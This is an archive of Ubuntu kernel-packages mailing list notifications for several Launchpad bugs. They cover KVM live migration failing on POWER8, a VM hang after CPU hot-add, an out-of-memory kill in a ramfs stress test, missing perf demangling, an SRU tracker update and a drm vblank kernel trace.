[Kernel-packages] [Bug 1783140] Re: KVM live migration fails
Last comments synced to launchpad indicated that migration of 18.04 guests, using 16.04 hypervisor is still not working. And it would be nice, if it did. So to me it looks like the bug is still present, even if you want to close this ticket on your side. ps. last comment we have synced prior to today's was from xxdold on 6th of august, just in case there is any information lost in-between. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783140 Title: KVM live migration fails Status in The Ubuntu-power-systems project: Triaged Status in linux package in Ubuntu: Triaged Status in qemu package in Ubuntu: Incomplete Bug description: Environment: 2 POWER8 with Ubuntu 16.04.4 LTS as KVM hypervisor. 1 KVM guest with Ubuntu 18.04 LTS. Virtual disk for the guest is a qcow2 file on an NFS share, accessible from both hypervisors, so live migration is possible and works for all other guests (SLES, RHEL, Ubunutu 16.04), Live migratino of Ubuntu 18.04 guest fails on ppc, while the same test on an x86_64 environment suceeds. root@pkvm2:~# virsh migrate --persistent --live p8lnxtst4 qemu+ssh://pkvm1/system error: internal error: early end of file from monitor, possible problem: 2018-07-23T11:12:25.586385Z qemu-system-ppc64: VQ 0 size 0x100 Guest index 0x38aa inconsistent with Host index 0xa980: delta 0x8f2a 2018-07-23T11:12:25.586434Z qemu-system-ppc64: error while loading state for instance 0x0 of device 'pci@8002000:01.0/virtio-net' 2018-07-23T11:12:25.587246Z qemu-system-ppc64: load of migration failed: Operation not permitted root@pkvm2:~# uname -a Linux pkvm2 4.4.0-130-generic #156-Ubuntu SMP Thu Jun 14 08:51:21 UTC 2018 ppc64le ppc64le ppc64le GNU/Linux To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-systems/+bug/1783140/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1755393] Re: hot-add CPU cause VM with ubuntu-16.04.4-desktop-64bit and ubuntu-18.04-desktop hang
** Summary changed: - hot-add CPU cause VM with ubuntu-16.04.4-desktop-64bit / ubuntu-18.04-desktop hang + hot-add CPU cause VM with ubuntu-16.04.4-desktop-64bit and ubuntu-18.04-desktop hang -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1755393 Title: hot-add CPU cause VM with ubuntu-16.04.4-desktop-64bit and ubuntu-18.04-desktop hang Status in linux package in Ubuntu: Triaged Status in linux source package in Bionic: Triaged Bug description: hot-add CPU cause VM with ubuntu-16.04.4-desktop-64bit hang in ESXi Reproduce: - 1. create VM with EFI firewall in ESXi 2. install geustOS with ubuntu16.04.4-dsktop-64bit image. 3. reboot it after finish installation 4. edit VM setting and enable hot-add CPU and memory 5. edit VM setting and set default 1 vCPU to 2 6. open a terminal and run script to enable vcpu1: "sudo ~/rescanCpu.sh" 7. check the cpu number with command "cat /proc/cpuinfo" in terminal. but there is not output message for this command. click anywhere on VM desktop, there is no response. It seems like VM hang. From vmware developer's analysis: Looks to me like Ubuntu's problem. It noticed at 566 seconds after boot that CPU1 was hot-added. Then perhaps you run code to online CPU, and doing so ended up with warning at blk-mq.c: Mar 6 17:41:33 vmware-virtual-machine kernel: [ 566.583896] CPU1 has been hot-added Mar 6 17:42:17 vmware-virtual-machine CommAmqpListener[2376]: Initializing CommAmqpListener Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.431990] SMP alternatives: switching to SMP code Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.487612] x86: Booting SMP configuration: Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.487616] smpboot: Booting Node 0 Processor 1 APIC 0x2 Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.489517] Disabled fast string operations Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.492082] smpboot: CPU 1 Converting physical 2 to logical package 1 Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.493162] Will online and init hotplugged CPU: 1 Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.524713] [ cut here ] Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.524726] WARNING: CPU: 1 PID: 2402 at /build/linux-hwe-4GXcua/linux-hwe-4.13.0/block/blk-mq.c:1106 __blk_mq_run_hw_queue+0x7b/0xa0 Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.524727] Modules linked in: vmw_vsock_vmci_transport vsock nls_iso8859_1 vmw_balloon sb_edac crct10dif_pclmul crc32_pclmul ghash_clmulni_intel pcbc aesni_intel aes_x86_64 crypto_simd glue_helpe r cryptd intel_rapl_perf joydev input_leds serio_raw shpchp vmw_vmci i2c_piix4 nfit tpm_crb mac_hid parport_pc ppdev lp parport autofs4 vmw_pvscsi vmwgfx ttm drm_kms_helper psmouse syscopyarea sysfillrect sysimgblt fb_sys_fops mptspi mptscsih drm mptbase nvme nvme_core vmxnet3 scsi_transport_spi ahci libahci pata_acpi floppy Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.525006] CPU: 1 PID: 2402 Comm: kworker/1:0H Not tainted 4.13.0-36-generic #40~16.04.1-Ubuntu Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.525008] Hardware name: VMware, Inc. VMware7,1/440BX Desktop Reference Platform, BIOS VMW71.00V.7915097.B64.1802282254 02/28/2018 Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.525013] Workqueue: kblockd blk_mq_run_work_fn Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.525016] task: 8ab5326b task.stack: a694441d8000 Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.525021] RIP: 0010:__blk_mq_run_hw_queue+0x7b/0xa0 Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.525023] RSP: 0018:a694441dbe38 EFLAGS: 00010202 Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.525026] RAX: 0001 RBX: 8ab50b4edc00 RCX: 8ab53c662760 Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.525028] RDX: 8ab50b9cba60 RSI: 8ab50b4edc40 RDI: 8ab50b4edc00 Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.525029] RBP: a694441dbe50 R08: R09: 0001 Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.525031] R10: 02e2 R11: 029b R12: 8ab5310d69c0 Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.525032] R13: 8ab53c662740 R14: 8ab53c668300 R15: Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.525036] FS: () GS:8ab53c64() knlGS: Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.525038] CS: 0010 DS: ES: CR0: 80050033 Mar 6 17:42:17 vmware-virtual-machine kernel: [ 610.525039] CR2: 7ff14dd7ab00 CR3: 1180a002 CR4:
[Kernel-packages] [Bug 1788151] Re: ubuntu_ramfs_stress will get killed with Bionic generic kernel on KVM node
It looks like the same issue could be found on xenial-lowlatency /
xenial-kvm
** Also affects: ubuntu-kernel-tests
Importance: Undecided
Status: New
** Also affects: stress-ng
Importance: Undecided
Status: New
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788151
Title:
ubuntu_ramfs_stress will get killed with Bionic generic kernel on KVM
node
Status in Stress-ng:
New
Status in ubuntu-kernel-tests:
New
Status in linux package in Ubuntu:
New
Bug description:
It looks like this issue won't happen with Bionic KVM kernel on KVM nodes.
Only with Bionic generic kernel on KVM nodes (1G ram)
Output from syslog indicates this test was killed due to OOM:
https://pastebin.ubuntu.com/p/wcY4DtDFtT/
Running 'ls -al /home/ubuntu/autotest/client/tests/ubuntu_ramfs_stress'
[stdout] total 28
[stdout] drwxrwxr-x 2 ubuntu ubuntu 4096 Aug 21 11:16 .
[stdout] drwxrwxr-x 165 ubuntu ubuntu 4096 Aug 21 11:14 ..
[stdout] -rw-rw-r-- 1 ubuntu ubuntu 501 Aug 21 11:14 control
[stdout] -rw-rw-r-- 1 ubuntu ubuntu 2303 Aug 21 11:14
ubuntu_ramfs_stress.py
[stdout] -rw-r--r-- 1 root root 2834 Aug 21 11:16
ubuntu_ramfs_stress.pyc
[stdout] -rwxrwxr-x 1 ubuntu ubuntu 4169 Aug 21 11:14
ubuntu_ramfs_stress.sh
true'
GOODubuntu_ramfs_stress.setup
ubuntu_ramfs_stress.setup timestamp=1534850377localtime=Aug 21
11:19:37 completed successfully
END GOODubuntu_ramfs_stress.setup
ubuntu_ramfs_stress.setup timestamp=1534850377localtime=Aug 21
11:19:37
Persistent state client._record_indent now set to 1
Persistent state client.unexpected_reboot deleted
Test has timeout: 18000 sec.
START ubuntu_ramfs_stress.ramfs-stress
ubuntu_ramfs_stress.ramfs-stresstimestamp=1534850377timeout=18000
localtime=Aug 21 11:19:37
Persistent state client._record_indent now set to 2
Persistent state client.unexpected_reboot now set to
('ubuntu_ramfs_stress.ramfs-stress', 'ubuntu_ramfs_stress.ramfs-stress')
Waiting for pid 10774 for 18000 seconds
Running 'LOG=/tmp/ramfs-falure.log
STRESS_NG=/home/ubuntu/autotest/client/tmp/ubuntu_ramfs_stress/src/stress-ng/stress-ng
DURATION=15s bash -c
/home/ubuntu/autotest/client/tests/ubuntu_ramfs_stress/ubuntu_ramfs_stress.sh
/home/ubuntu/autotest/client/tmp/ubuntu_ramfs_stress/src 2>&1'
[stdout] Total of 229376 KB free memory
[stdout] Making ram disk of 256K
[stdout]
[stdout]
[stdout] Stress test:
/home/ubuntu/autotest/client/tmp/ubuntu_ramfs_stress/src/stress-ng/stress-ng
--verify --times --metrics-brief --syslog --keep-name -t 15s --link 4 --symlink
4 --lockf 4 --seek 4 --aio 4 --aio-requests 32 --dentry 4 --dir 4 --fstat 4
--io 4 --dentries 4 --lease 4 --mmap-file --mmap-async --open 4 --rename 4
--chdir 4 --chmod 4 --filename 4 --rename 4 --hdd 4 --hdd-opts
sync,wr-rnd,rd-rnd,fadv-willneed,fadv-rnd --hdd-write-size 512
[stdout] Mount point: /mnt/ramfs-test-10779
[stdout] Date: Tue Aug 21 11:19:37 UTC 2018
[stdout] Host: zeppo
[stdout] Kernel:4.15.0-32-generic #35-Ubuntu SMP Fri Aug 10 17:58:07
UTC 2018
[stdout] Machine: zeppo x86_64 x86_64
[stdout] CPUs online: 2
[stdout] CPUs total:2
[stdout] Page size: 4096
[stdout] Pages avail: 203847
[stdout] Pages total: 252219
[stdout]
[stdout]
[stdout]
[stdout] stress-ng: info: [10827] dispatching hogs: 4 link, 4 symlink, 4
lockf, 4 seek, 4 aio, 4 dentry, 4 dir, 4 fstat, 4 io, 4 lease, 4 open, 4
rename, 4 chdir, 4 chmod, 4 filename, 4 rename, 4 hdd
Killed
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: linux-image-4.15.0-32-generic 4.15.0-32.35
ProcVersionSignature: User Name 4.15.0-32.35-generic 4.15.18
Uname: Linux 4.15.0-32-generic x86_64
AlsaDevices:
total 0
crw-rw 1 root audio 116, 1 Aug 21 11:13 seq
crw-rw 1 root audio 116, 33 Aug 21 11:13 timer
AplayDevices: Error: [Errno 2] No such file or directory: 'aplay': 'aplay'
ApportVersion: 2.20.9-0ubuntu7.2
Architecture: amd64
ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord':
'arecord'
AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq',
'/dev/snd/timer'] failed with exit code 1:
Date: Tue Aug 21 11:23:44 2018
IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig': 'iwconfig'
Lsusb: Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
MachineType: QEMU Standard PC (i440FX + PIIX, 1996)
PciMultimedia:
ProcFB:
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic
[Kernel-packages] [Bug 1396654] Re: C++ demangling support missing from perf
As #18 pointed out, this still affects 18.04. Could the fix be ported there? -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1396654 Title: C++ demangling support missing from perf Status in linux package in Ubuntu: Fix Released Status in linux-meta-hwe package in Ubuntu: Confirmed Status in linux source package in Xenial: Incomplete Status in linux-meta-hwe source package in Xenial: Confirmed Status in linux source package in Yakkety: Won't Fix Status in linux source package in Zesty: Fix Released Bug description: Hi, It appears that C++ demangling support is missing from linux-tools-3.16.0-24, on Utopic on arm64. Could the following please be added to the build dependencies for that package: libiberty-dev binutils-dev Installing the above and rebuilding the package fixed the problem for me. Cheers, -- Steve --- AlsaDevices: Error: command ['ls', '-l', '/dev/snd/'] failed with exit code 2: ls: cannot access /dev/snd/: No such file or directory AplayDevices: Error: [Errno 2] No such file or directory ApportVersion: 2.14.7-0ubuntu8 Architecture: arm64 ArecordDevices: Error: [Errno 2] No such file or directory CRDA: Error: [Errno 2] No such file or directory CurrentDmesg: Error: command ['sh', '-c', 'dmesg | comm -13 --nocheck-order /var/log/dmesg -'] failed with exit code 1: comm: /var/log/dmesg: Permission denied DistroRelease: Ubuntu 14.10 IwConfig: Error: [Errno 2] No such file or directory Lspci: Lsusb: Error: command ['lsusb'] failed with exit code 1: unable to initialize libusb: -99 Package: linux (not installed) PciMultimedia: ProcFB: ProcKernelCmdLine: console=ttyS0,115200n8 ro ProcVersionSignature: Ubuntu 3.16.0-24.32-generic 3.16.4 RfKill: Error: [Errno 2] No such file or directory Tags: utopic utopic Uname: Linux 3.16.0-24-generic aarch64 UnreportableReason: The report belongs to a package that is not installed. UpgradeStatus: Upgraded to utopic on 2014-11-17 (9 days ago) UserGroups: sudo WifiSyslog: _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1396654/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1787982] Re: linux: 3.13.0-157.207 -proposed tracker
** Changed in: kernel-sru-workflow/automated-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/certification-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/promote-to-proposed Status: Fix Committed => Fix Released ** Changed in: kernel-sru-workflow/regression-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/security-signoff Status: New => Confirmed ** Changed in: kernel-sru-workflow/verification-testing Status: New => Confirmed ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1787983 (linux-lts-trusty) derivatives: - kernel-stable-phase:Uploaded - kernel-stable-phase-changed:Monday, 20. August 2018 17:00 UTC - -- swm properties -- boot-testing-requested: true phase: Uploaded + kernel-stable-phase:Promoted to proposed + kernel-stable-phase-changed:Tuesday, 21. August 2018 11:31 UTC ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1787983 (linux-lts-trusty) derivatives: -- swm properties -- boot-testing-requested: true - phase: Uploaded - kernel-stable-phase:Promoted to proposed - kernel-stable-phase-changed:Tuesday, 21. August 2018 11:31 UTC + bugs-spammed: true + phase: Promoted to proposed + proposed-announcement-sent: true + proposed-testing-requested: true -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1787982 Title: linux: 3.13.0-157.207 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Confirmed Status in Kernel SRU Workflow certification-testing series: Confirmed Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Confirmed Status in Kernel SRU Workflow security-signoff series: Confirmed Status in Kernel SRU Workflow upload-to-ppa series: Invalid Status in Kernel SRU Workflow verification-testing series: Confirmed Status in linux package in Ubuntu: Invalid Status in linux source package in Trusty: New Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1787983 (linux-lts-trusty) derivatives: -- swm properties -- boot-testing-requested: true bugs-spammed: true phase: Promoted to proposed proposed-announcement-sent: true proposed-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787982/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783140] Comment bridged from LTC Bugzilla
--- Comment From heinz-werner_se...@de.ibm.com 2018-08-21 07:22 EDT--- @Canonical, can this LP be closed? I don't see any addl. activities here.. Many thx in advance -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783140 Title: KVM live migration fails Status in The Ubuntu-power-systems project: Triaged Status in linux package in Ubuntu: Triaged Status in qemu package in Ubuntu: Incomplete Bug description: Environment: 2 POWER8 with Ubuntu 16.04.4 LTS as KVM hypervisor. 1 KVM guest with Ubuntu 18.04 LTS. Virtual disk for the guest is a qcow2 file on an NFS share, accessible from both hypervisors, so live migration is possible and works for all other guests (SLES, RHEL, Ubunutu 16.04), Live migratino of Ubuntu 18.04 guest fails on ppc, while the same test on an x86_64 environment suceeds. root@pkvm2:~# virsh migrate --persistent --live p8lnxtst4 qemu+ssh://pkvm1/system error: internal error: early end of file from monitor, possible problem: 2018-07-23T11:12:25.586385Z qemu-system-ppc64: VQ 0 size 0x100 Guest index 0x38aa inconsistent with Host index 0xa980: delta 0x8f2a 2018-07-23T11:12:25.586434Z qemu-system-ppc64: error while loading state for instance 0x0 of device 'pci@8002000:01.0/virtio-net' 2018-07-23T11:12:25.587246Z qemu-system-ppc64: load of migration failed: Operation not permitted root@pkvm2:~# uname -a Linux pkvm2 4.4.0-130-generic #156-Ubuntu SMP Thu Jun 14 08:51:21 UTC 2018 ppc64le ppc64le ppc64le GNU/Linux To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-systems/+bug/1783140/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1788151] [NEW] ubuntu_ramfs_stress will get killed with Bionic generic kernel on KVM node
Public bug reported:
It looks like this issue won't happen with Bionic KVM kernel on KVM nodes.
Only with Bionic generic kernel on KVM nodes (1G ram)
Output from syslog indicates this test was killed due to OOM:
https://pastebin.ubuntu.com/p/wcY4DtDFtT/
Running 'ls -al /home/ubuntu/autotest/client/tests/ubuntu_ramfs_stress'
[stdout] total 28
[stdout] drwxrwxr-x 2 ubuntu ubuntu 4096 Aug 21 11:16 .
[stdout] drwxrwxr-x 165 ubuntu ubuntu 4096 Aug 21 11:14 ..
[stdout] -rw-rw-r-- 1 ubuntu ubuntu 501 Aug 21 11:14 control
[stdout] -rw-rw-r-- 1 ubuntu ubuntu 2303 Aug 21 11:14 ubuntu_ramfs_stress.py
[stdout] -rw-r--r-- 1 root root 2834 Aug 21 11:16 ubuntu_ramfs_stress.pyc
[stdout] -rwxrwxr-x 1 ubuntu ubuntu 4169 Aug 21 11:14 ubuntu_ramfs_stress.sh
true'
GOODubuntu_ramfs_stress.setup
ubuntu_ramfs_stress.setup timestamp=1534850377localtime=Aug 21
11:19:37 completed successfully
END GOODubuntu_ramfs_stress.setup
ubuntu_ramfs_stress.setup timestamp=1534850377localtime=Aug 21
11:19:37
Persistent state client._record_indent now set to 1
Persistent state client.unexpected_reboot deleted
Test has timeout: 18000 sec.
START ubuntu_ramfs_stress.ramfs-stress
ubuntu_ramfs_stress.ramfs-stresstimestamp=1534850377timeout=18000
localtime=Aug 21 11:19:37
Persistent state client._record_indent now set to 2
Persistent state client.unexpected_reboot now set to
('ubuntu_ramfs_stress.ramfs-stress', 'ubuntu_ramfs_stress.ramfs-stress')
Waiting for pid 10774 for 18000 seconds
Running 'LOG=/tmp/ramfs-falure.log
STRESS_NG=/home/ubuntu/autotest/client/tmp/ubuntu_ramfs_stress/src/stress-ng/stress-ng
DURATION=15s bash -c
/home/ubuntu/autotest/client/tests/ubuntu_ramfs_stress/ubuntu_ramfs_stress.sh
/home/ubuntu/autotest/client/tmp/ubuntu_ramfs_stress/src 2>&1'
[stdout] Total of 229376 KB free memory
[stdout] Making ram disk of 256K
[stdout]
[stdout]
[stdout] Stress test:
/home/ubuntu/autotest/client/tmp/ubuntu_ramfs_stress/src/stress-ng/stress-ng
--verify --times --metrics-brief --syslog --keep-name -t 15s --link 4 --symlink
4 --lockf 4 --seek 4 --aio 4 --aio-requests 32 --dentry 4 --dir 4 --fstat 4
--io 4 --dentries 4 --lease 4 --mmap-file --mmap-async --open 4 --rename 4
--chdir 4 --chmod 4 --filename 4 --rename 4 --hdd 4 --hdd-opts
sync,wr-rnd,rd-rnd,fadv-willneed,fadv-rnd --hdd-write-size 512
[stdout] Mount point: /mnt/ramfs-test-10779
[stdout] Date: Tue Aug 21 11:19:37 UTC 2018
[stdout] Host: zeppo
[stdout] Kernel:4.15.0-32-generic #35-Ubuntu SMP Fri Aug 10 17:58:07
UTC 2018
[stdout] Machine: zeppo x86_64 x86_64
[stdout] CPUs online: 2
[stdout] CPUs total:2
[stdout] Page size: 4096
[stdout] Pages avail: 203847
[stdout] Pages total: 252219
[stdout]
[stdout]
[stdout]
[stdout] stress-ng: info: [10827] dispatching hogs: 4 link, 4 symlink, 4
lockf, 4 seek, 4 aio, 4 dentry, 4 dir, 4 fstat, 4 io, 4 lease, 4 open, 4
rename, 4 chdir, 4 chmod, 4 filename, 4 rename, 4 hdd
Killed
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: linux-image-4.15.0-32-generic 4.15.0-32.35
ProcVersionSignature: User Name 4.15.0-32.35-generic 4.15.18
Uname: Linux 4.15.0-32-generic x86_64
AlsaDevices:
total 0
crw-rw 1 root audio 116, 1 Aug 21 11:13 seq
crw-rw 1 root audio 116, 33 Aug 21 11:13 timer
AplayDevices: Error: [Errno 2] No such file or directory: 'aplay': 'aplay'
ApportVersion: 2.20.9-0ubuntu7.2
Architecture: amd64
ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord': 'arecord'
AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq',
'/dev/snd/timer'] failed with exit code 1:
Date: Tue Aug 21 11:23:44 2018
IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig': 'iwconfig'
Lsusb: Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
MachineType: QEMU Standard PC (i440FX + PIIX, 1996)
PciMultimedia:
ProcFB:
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic
root=UUID=41f2a2b1-0082-4a56-ad3b-9f99ca574aeb ro
RelatedPackageVersions:
linux-restricted-modules-4.15.0-32-generic N/A
linux-backports-modules-4.15.0-32-generic N/A
linux-firmware 1.173.1
RfKill: Error: [Errno 2] No such file or directory: 'rfkill': 'rfkill'
SourcePackage: linux
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 04/01/2014
dmi.bios.vendor: SeaBIOS
dmi.bios.version: Ubuntu-1.8.2-1ubuntu1
dmi.chassis.type: 1
dmi.chassis.vendor: QEMU
dmi.chassis.version: pc-i440fx-xenial
dmi.modalias:
dmi:bvnSeaBIOS:bvrUbuntu-1.8.2-1ubuntu1:bd04/01/2014:svnQEMU:pnStandardPC(i440FX+PIIX,1996):pvrpc-i440fx-xenial:cvnQEMU:ct1:cvrpc-i440fx-xenial:
dmi.product.name: Standard PC
[Kernel-packages] [Bug 1786192] Re: kernel trace
The missing video driver broke the boot and the splash. I wrote to the /etc/default/grub the missing splashoff video=SVIDEO-1:d. The problem solved the boot lighter. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1786192 Title: kernel trace Status in linux package in Ubuntu: Incomplete Bug description: [ 157.511000] [ cut here ] [ 157.511004] vblank wait timed out on crtc 1 [ 157.511092] WARNING: CPU: 0 PID: 1149 at /build/linux-WHbi0x/linux-4.15.0/drivers/gpu/drm/drm_vblank.c:1073 drm_wait_one_vblank+0x1a1/0x1b0 [drm] [ 157.511094] Modules linked in: option usb_wwan usbserial huawei_cdc_ncm cdc_wdm cdc_ncm usbnet mii ip6t_REJECT nf_reject_ipv6 nf_log_ipv6 snd_hda_codec_hdmi xt_hl snd_hda_codec_realtek ip6t_rt snd_hda_codec_generic snd_hda_intel nf_conntrack_ipv6 nf_defrag_ipv6 snd_hda_codec ipt_REJECT snd_hda_core nf_reject_ipv4 snd_hwdep nf_log_ipv4 snd_pcm nf_log_common xt_LOG snd_seq_midi snd_seq_midi_event snd_rawmidi arc4 pcmcia coretemp xt_limit iwl4965 joydev xt_tcpudp iwlegacy snd_seq acer_wmi snd_seq_device input_leds serio_raw wmi_bmof yenta_socket sparse_keymap pcmcia_rsrc mac80211 tifm_7xx1 xt_addrtype snd_timer pcmcia_core tifm_core snd lpc_ich cfg80211 soundcore shpchp nsc_ircc(CE) irda(CE) nf_conntrack_ipv4 nf_defrag_ipv4 mac_hid xt_conntrack ip6table_filter sch_fq_codel ip6_tables nf_conntrack_netbios_ns [ 157.511145] nf_conntrack_broadcast nf_nat_ftp nf_nat nf_conntrack_ftp nf_conntrack libcrc32c iptable_filter parport_pc ppdev lp parport ip_tables x_tables autofs4 i915 i2c_algo_bit drm_kms_helper syscopyarea sysfillrect sysimgblt firewire_ohci fb_sys_fops tg3 ahci sdhci_pci firewire_core psmouse drm libahci sdhci ptp pata_acpi crc_itu_t pps_core wmi video uas usb_storage [ 157.511176] CPU: 0 PID: 1149 Comm: gnome-shell Tainted: GWC E 4.15.0-30-generic #32-Ubuntu [ 157.511181] Hardware name: AcerTravelMate 5320 /Columbia , BIOS V1.22 10/22/2007 [ 157.511200] EIP: drm_wait_one_vblank+0x1a1/0x1b0 [drm] [ 157.511202] EFLAGS: 00010292 CPU: 0 [ 157.511204] EAX: 001f EBX: f4e2c000 ECX: f63e9630 EDX: 0007 [ 157.511205] ESI: 0001 EDI: EBP: f0713b74 ESP: f0713b3c [ 157.511207] DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068 [ 157.511209] CR0: 80050033 CR2: b5a91a90 CR3: 30655f00 CR4: 06f0 [ 157.511211] Call Trace: [ 157.511222] ? wait_woken+0x70/0x70 [ 157.511277] intel_get_load_detect_pipe+0x5eb/0x650 [i915] [ 157.511318] intel_tv_detect+0x113/0x4b0 [i915] [ 157.511360] ? intel_tv_get_modes+0x1f0/0x1f0 [i915] [ 157.511376] drm_helper_probe_detect+0x45/0x80 [drm_kms_helper] [ 157.511386] drm_helper_probe_single_connector_modes+0xbc/0x640 [drm_kms_helper] [ 157.511397] ? drm_helper_probe_detect+0x80/0x80 [drm_kms_helper] [ 157.511417] drm_mode_getconnector+0x11e/0x2c0 [drm] [ 157.511438] ? drm_mode_connector_property_set_ioctl+0x60/0x60 [drm] [ 157.511454] drm_ioctl_kernel+0x56/0xb0 [drm] [ 157.511471] drm_ioctl+0x2c4/0x370 [drm] [ 157.511490] ? drm_mode_connector_property_set_ioctl+0x60/0x60 [drm] [ 157.511497] ? kmap_atomic_prot+0xe0/0x100 [ 157.511500] ? __kunmap_atomic+0x73/0x90 [ 157.511505] ? handle_mm_fault+0xc35/0xe80 [ 157.511522] ? drm_version+0x80/0x80 [drm] [ 157.511527] do_vfs_ioctl+0x93/0x6b0 [ 157.511532] SyS_ioctl+0x58/0x70 [ 157.511536] do_fast_syscall_32+0x7f/0x1e0 [ 157.511542] entry_SYSENTER_32+0x4e/0x7c [ 157.511545] EIP: 0xb7f60d09 [ 157.511546] EFLAGS: 00200292 CPU: 0 [ 157.511548] EAX: ffda EBX: 000b ECX: c05064a7 EDX: bfe159a8 [ 157.511550] ESI: 0001 EDI: c05064a7 EBP: 000b ESP: bfe15928 [ 157.511552] DS: 007b ES: 007b FS: GS: 0033 SS: 007b [ 157.511553] Code: 00 00 00 e9 e4 fe ff ff e8 bd 48 a2 cc 8b 45 d0 8d 55 dc e8 f2 65 a6 cc 85 ff 0f 85 ee fe ff ff 56 68 48 a2 66 f8 e8 2f 46 a2 cc <0f> 0b 58 5a e9 da fe ff ff 8d b6 00 00 00 00 66 66 66 66 90 55 [ 157.511597] ---[ end trace ecf18bbc5fa1e893 ]--- ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: plymouth 0.9.3-1ubuntu7 ProcVersionSignature: Ubuntu 4.15.0-30.32-generic 4.15.18 Uname: Linux 4.15.0-30-generic i686 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: i386 CurrentDesktop: Unity:Unity7:ubuntu Date: Thu Aug 9 10:31:18 2018 DefaultPlymouth: Error: command ['readlink', '/etc/alternatives/default.plymouth'] failed with exit code 1: InstallationDate: Installed on 2015-04-29 (1197 days ago) InstallationMedia: Ubuntu 12.04 "Precise" - Build i386 LIVE Binary 20120426-19:21 MachineType: Acer TravelMate 5320 PccardctlIdent: Socket 0: no product info available PccardctlStatus: Socket 0: no card ProcCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-30-generic
